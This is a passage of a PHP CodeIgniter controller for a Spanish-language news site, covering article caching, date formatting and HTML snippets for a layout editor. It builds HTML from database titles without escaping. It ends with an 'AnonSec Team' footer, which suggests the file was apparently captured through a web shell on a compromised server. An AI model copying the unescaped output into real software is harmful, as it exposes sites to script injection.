                    $fotos_nota['destacada_img'] = "";
                    $fotos_nota['destacada_epigrafe'] = "";
                }

                $this->memcached_library->add('nota_' . $nota_id . '_cant_fotos', $fotos_nota, 3600);
            }
            $variables['nota']['fotos'] = $fotos_nota;


            $videos_nota = $this->memcached_library->get('nota_' . $nota_id . '_videos');
            if (!$videos_nota) {
                $this->load->model("video", "video", true);
                $videos_nota = $this->video->dameVideosNota($nota_id);
                if (!$videos_nota)
                    $videos_nota = "vacio";
                $this->memcached_library->add('nota_' . $nota_id . '_videos', $videos_nota, 3600);
            }
            $variables['nota']['videos'] = $videos_nota;

            $firmas = $this->memcached_library->get('nota_' . $nota_id . '_periodistas');
            if (!$firmas) {
                $this->load->model("usuario", "periodista", true);
                $firmas = $this->periodista->obtenerPeriodistaNota($nota_id);
                if (!$firmas)
                    $firmas = "vacio";
                $this->memcached_library->add('nota_' . $nota_id . '_periodistas', $firmas, 3600);
            }
            $variables['nota']['periodista'] = $firmas;

            $variables['href_canonical'] = URL_CANONICAL . "nota/" . $nota_id . "/" . $this->varios_library->limpiarurl($nota['seccion'][0]['nombre']) . "/" . $this->varios_library->limpiarurl($nota['titulo']) . ".html";
            $variables['foto'] = "";

            if ($fotos_nota['destacada_img'] != "") {
                $file = end(explode("/", $fotos_nota['destacada_img']));
                $ruta = str_replace($file, "", $fotos_nota['destacada_img']);
                $file = str_replace("tmb2_", "", $file);
                $file = str_replace("tmb1_", "", $file);
                $variables['strimagen_principal_d'] = $ruta . $file;
                $variables['foto'] = $this->varios_library->dameImagenURL($ruta, $file, "cache/" . $ruta, 700, 380);
            }

            if (isset($nota['fecha_mod'])) {
                $variables['fecha_pub'] = $this->varios_library->transformar_fecha_inversa($nota['fecha_edicion'], '-') . "T" . $nota['hora_alta'] . ":00Z";
                $variables['fecha_mod'] = $this->varios_library->transformar_fecha_inversa($nota['fecha_mod'], '-') . "T" . $nota['hora'] . ":00Z";
            } else {
                $variables['fecha_pub'] = $this->varios_library->transformar_fecha_inversa($nota['fecha_edicion'], '-') . "T" . $nota['hora'] . ":00Z";
                $variables['fecha_mod'] = $this->varios_library->transformar_fecha_inversa($nota['fecha_edicion'], '-') . "T" . $nota['hora'] . ":00Z";
            }

            if ($datos_tag) {
                if ($datos_tag['url'] == "")
                    $datos_tag['url'] = "tags/" . $datos_tag['id'] . "/" . $this->varios_library->limpiarurl($datos_tag['nombre']);
            }

            $variables['seccion'] = $datos_tag;

            /* Obtengo banner */
            $variables['banners'] = $this->_dame_banners('nota', $tag_id);
            $variables['ubicacion_banner'] = 'nota';
            /*             * Fin Banners* */

            $this->load->view("fb/nota", $variables);
        } else
            header("location: " . site_url());
    }

    public function fecha_simple($date) {
        $year = substr($date, 0, 4);
        $month = substr($date, 5, 2);
        $day = substr($date, 8, 2);
        $hora = substr($date, 11, 5);
        $date = $day . "/" . $month . "/" . $year;
        if ($date == "00/00/0000") {
            $date = "";
        }
        return ($date);
    }

    public function cargar_noticias_en_layout() {
        $filtro = $this->input->post("filtro");
        $fecha_desde = $filtro['desde'];
        $fecha_hasta = $filtro['hasta'];
        $grupo = $filtro['grupo'];
        $this->load->model("edicion", "edicion", true);
        $edicion_desde = $this->edicion->dameEdicionPorfecha($fecha_desde);
        $edicion_hasta = $this->edicion->dameEdicionPorfecha($fecha_hasta);
        $filtro['edicion_desde'] = ($edicion_desde) ? $edicion_desde['id'] : false;
        $filtro['edicion_hasta'] = ($edicion_hasta) ? $edicion_hasta['id'] : false;
        $this->load->model('mockup_model', 'mockup_model', true);
        $grupo_array = $this->mockup_model->dameHashMismoGrupo($filtro['grupo']);

        if (is_array($grupo_array)) {
            $filtro['grupo_array'] = array();
            foreach ($grupo_array as $grupo) {
                $filtro['grupo_array'][] = $grupo['id'];
            }
        } else {
            $filtro['grupo_array'] = $filtro['hash_id'];
        }

        $filtro['grupo_array'] = implode(',', $filtro['grupo_array']);

        //echo "<pre>".print_r($filtro['grupo_array'],true)."</pre>"; die();

        if ($filtro['edicion_desde'] && $filtro['edicion_hasta']) {
            $this->load->model('nota_modelo', 'nota', true);
            $jcode = $this->nota->cargarNoticiasEnLayout($filtro);
            $var = '';
            if (is_array($jcode)) {
                foreach ($jcode as $v) {
                    $var .= $this->_armar_nota_diagramable($v);
                }
                $var .= '<script>arrastrar_contenidos();mod_listado_notas();mod_listado_notas();</script>';
            }
            echo $var;
        }
    }


    public function _armar_nota_diagramable($nota) {
        $this->load->library('varios_library', 'varios_library');
        $var2 = '<div id="Nota-' . $nota['id'] . '" class="groupItem"><a class="itemHeader clearfix">';
        if ($nota['imagen'] <> '') {
            //$var2 .='aaxx<img src="'.URL_BASE_FILE.'fotos/'.$nota['imagen'].'" width="100" align="left">';
            $url_image = explode('th_', $nota['imagen']);
            $ruta_origen = $url_image[0];
            $imagen_origen = $url_image[1];
            $ruta_destino = 'cache/notas/listado/';
            $var2 .= $this->varios_library->dameImagen($ruta_origen, $imagen_origen, $ruta_destino, 100, 100, "fl", "fl", "fl", 0);
        }
        $var2 .= '<h1><span>' . $this->fecha_simple($nota['fechaAlta']) . ' | </span>' . $nota['titulo'] . '</h1>
		<p class="fecha"><span class="secciones2">' . $nota['seccion'] . '</span></p></a></div>';
        return $var2;
    }
    
    

    public function cargar_eventos_en_layout() {
        $filtro = $this->input->post("filtro");
        $fecha_desde = $filtro['desde'];
        $fecha_hasta = $filtro['hasta'];
        $grupo = $filtro['grupo'];
        $this->load->model("edicion", "edicion", true);
        $edicion_desde = $this->edicion->dameEdicionPorfecha($fecha_desde);
        $edicion_hasta = $this->edicion->dameEdicionPorfecha($fecha_hasta);
        $filtro['edicion_desde'] = ($edicion_desde) ? $edicion_desde['id'] : false;
        $filtro['edicion_hasta'] = ($edicion_hasta) ? $edicion_hasta['id'] : false;
        $this->load->model('mockup_model', 'mockup_model', true);
        $grupo_array = $this->mockup_model->dameHashMismoGrupo($filtro['grupo']);

        if (is_array($grupo_array)) {
            $filtro['grupo_array'] = array();
            foreach ($grupo_array as $grupo) {
                $filtro['grupo_array'][] = $grupo['id'];
            }
        } else {
            $filtro['grupo_array'] = $filtro['hash_id'];
        }

        $filtro['grupo_array'] = implode(',', $filtro['grupo_array']);

        //echo "<pre>".print_r($filtro['grupo_array'],true)."</pre>"; die();

        if ($filtro['edicion_desde'] && $filtro['edicion_hasta']) {
            $this->load->model('nota_modelo', 'nota', true);
            $jcode = $this->nota->cargarEventosEnLayout($filtro);
            $var = '';
            if (is_array($jcode)) {
                foreach ($jcode as $v) {
                    $var .= $this->_armar_evento_diagramable($v);
                }
                $var .= '<script>arrastrar_contenidos();mod_listado_evento();mod_listado_evento();</script>';
            }
            echo $var;
        }
    }
    
    public function _armar_evento_diagramable($evento) {
        $this->load->library('varios_library', 'varios_library');
        $var2 = '<div id="Evento-' . $evento['id'] . '" class="groupItem"><a class="itemHeader clearfix">';
        if ($evento['imagen'] <> '') {
            //$var2 .='aaxx<img src="'.URL_BASE_FILE.'fotos/'.$nota['imagen'].'" width="100" align="left">';
            $url_image = explode('th_', $evento['imagen']);
            $ruta_origen = $url_image[0];
            $imagen_origen = $url_image[1];
            $ruta_destino = 'cache/eventos/listado/';
            $var2 .= $this->varios_library->dameImagen($ruta_origen, $imagen_origen, $ruta_destino, 100, 100, "fl", "fl", "fl", 0);
        }
        $var2 .= '<h1><span>' . $this->fecha_simple($evento['fechaAlta']) . ' | </span>' . $evento['titulo'] . '</h1>
		<p class="fecha"><span class="secciones2">' . $evento['seccion'] . '</span></p></a></div>';
        return $var2;
    }

    public function cargar_columnas_en_layout() {
        $filtro = $this->input->post("filtro");
        $fecha_desde = $filtro['desde'];
        $fecha_hasta = $filtro['hasta'];
        $this->load->model("edicion", "edicion", true);
        $edicion_desde = $this->edicion->dameEdicionPorfecha($fecha_desde);
        $edicion_hasta = $this->edicion->dameEdicionPorfecha($fecha_hasta);
        $filtro['edicion_desde'] = ($edicion_desde) ? $edicion_desde['id'] : false;
        $filtro['edicion_hasta'] = ($edicion_hasta) ? $edicion_hasta['id'] : false;
        if ($filtro['edicion_desde'] && $filtro['edicion_hasta']) {
            $this->load->model('nota_modelo', 'nota', true);
            $jcode = $this->nota->cargarColumnasEnLayout($filtro);
            $var = '';
            if (is_array($jcode)) {
                foreach ($jcode as $v) {
                    $var .= $this->_armar_columna_diagramable($v);
                }
                $var .= '<script>arrastrar_contenidos();mod_listado_columnas();mod_listado_columnas();</script>';
            }
            echo $var;
        }
    }

    public function _armar_columna_diagramable($nota) {
        $var2 = '<div id="Columna-' . $nota['id'] . '" class="groupItem"><a class="itemHeader clearfix">';
        if ($nota['firma_id'] <> '') {
            $this->load->library('comunidad_library');
            $raiz = $this->comunidad_library->armarAvatarPerfil($nota['firma_id']);
            $var2 .= '<img src="' . $raiz . '" width="100" align="left">';
        }
        $var2 .= '<h1><span>' . $this->fecha_simple($nota['fechaAlta']) . ' | </span>' . $nota['titulo'] . '</h1>
		<p class="fecha"><span class="secciones">' . $nota['seccion'] . '</span></p></a></div>';
        return $var2;
    }

    public function cargar_blogs_en_layout() {
        $filtro = $this->input->post("filtro");
        if ($filtro['desde'] && $filtro['hasta']) {
            $this->load->model('nota_modelo', 'nota', true);
            $jcode = $this->nota->cargarBlogsEnLayout($filtro);
            $var = '';
            if (is_array($jcode)) {
                foreach ($jcode as $v) {
                    $var .= $this->_armar_blog_diagramable($v);
                }
                $var .= '<script>arrastrar_contenidos();mod_listado_blogs();mod_listado_blogs();</script>';
            }
            echo $var;
        }
    }

    public function _armar_blog_diagramable($nota) {
        $var2 = '<div id="Blog-' . $nota['id'] . '" class="groupItem"><a class="itemHeader clearfix">';
        if ($nota['firma_id'] <> '') {
            $this->load->library('comunidad_library');
            $raiz = $this->comunidad_library->armarAvatarPerfil($nota['firma_id']);
            $var2 .= '<img src="' . $raiz . '" width="100" align="left">';
        }
        $var2 .= '<h1><span>' . $this->fecha_simple($nota['fechaAlta']) . ' | </span>' . $nota['titulo'] . '</h1>
		<p class="fecha"><span class="secciones">' . $nota['seccion'] . '</span></p></a></div>';
        return $var2;
    }

    public function _visitas($nota_id, $movil = 0) {
        if ($nota_id) {
            $this->load->model("contador", "contador", true);
            $datos_auditoria['usuario_id'] = 0;
            $datos_auditoria['nota_id'] = $nota_id;
            $tabla = "nota";
            if ($movil)
                $tabla = "nota_movil";
            $this->contador->insertar($tabla, $datos_auditoria);
        }
    }

}

?>

Anon7 - 2022
AnonSec Team